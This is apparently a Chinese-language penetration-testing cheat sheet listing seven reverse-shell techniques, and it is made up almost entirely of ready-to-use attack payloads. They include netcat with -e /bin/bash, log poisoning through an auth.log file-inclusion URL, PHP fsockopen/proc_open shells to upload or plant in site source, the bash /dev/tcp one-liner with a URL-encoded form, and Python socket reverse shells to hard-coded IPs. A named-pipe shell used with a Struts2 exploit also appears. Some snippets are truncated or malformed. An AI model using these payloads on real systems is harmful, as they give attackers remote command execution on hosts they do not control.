反shell方法

反shell方法

shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)”

方法一 利用nc完成反shell 适用webshell

适用于对方网页有webshell

  1. kali先开启nc端口监听

    nc -lvvp 监听端口

  2. 让对方电脑里的nc一启动就自动连接

    /bin/nc -e /bin/bash 自己ip 监听的端口号

方法二 php利用登录日志植入反shell脚本 适用对方html语句有函数调用

  1. F12查看是否有函数调用或者收集信息找到对方的用户名在url框php后门输入?+猜想的用户名=命令或文件+挨个试如果

    如果元素页显示就说明有这个功能
    反shell方法_第1张图片

  2. 使用var/log/auth.log查看日志

  3. 存在登录日志就在kali里执行ssh远程登录脚本

    ssh ''@对方IP -p 对方ssh端口号

  4. kali开启nc监听nc -lvvp 端口号

  5. 在url里输入

    (http://10.9.47.172(对方ip)/info.php?zc=/var/log/auth.log&xl(调用我方植入的函数)=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.47.187",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);')

  6. 就可以反shell

方法三 网页后台有php源码利用php反shell脚本

$sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process); ?>

  1. 在网页的后台源码里放入这个脚本

  2. 在nc里开启脚本里的端口

  3. 在url框运行这个脚本

    such as :themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/在此路径下写入php脚本然后再搜索框里运行

方法四 php文件上传反shell

  1. 上传php反shell脚本
  <?php
   $ip='kali IP';
   $port=10002;
   $sock = fsockopen($ip, $port);
   $descriptorspec = array(
   0 => $sock,
   1 => $sock,
   2 => $sock
   );
   $process = proc_open('/bin/sh', $descriptorspec, $pipes);
   proc_close($process);>

上面不能用就用下面

   <?php
$sock = fsockopen("10.4.7.3", "10002");

$descriptorspec = array(

        0 => $sock,

        1 => $sock,

        2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);
?>
  1. 在源代码中找到这个脚本复制链接在浏览器里打开就会运行此代码,kali开启nc监听就可以

    反shell方法_第2张图片

方法五 最常用的bash -c 'bash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1'

这是最常用的反shell

这个是url编码后的

bash±c+%27bash±i+%3e%26+%2fdev%2ftcp%2f自己ip%2f监听端口+0%3e%261%27

配合nc一起用

方法六 python shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.182.36",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.7.3",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

方法七管道通信

先在tmp下创建一个管道文件

mknod /tmp/文件名 p

在用shell命令连接

/bin/sh 0/tmp/文件名

示例

python2 exploit.py "http://192.168.182.64:8080/struts2-showcase/showcase.action" "/bin/sh 0/tmp/gd"

http://192.168.182.64:8080/struts2-showcase/showcase.action" “/bin/sh 0/tmp/gd”`

你可能感兴趣的:(shell,渗透,反shell,渗透)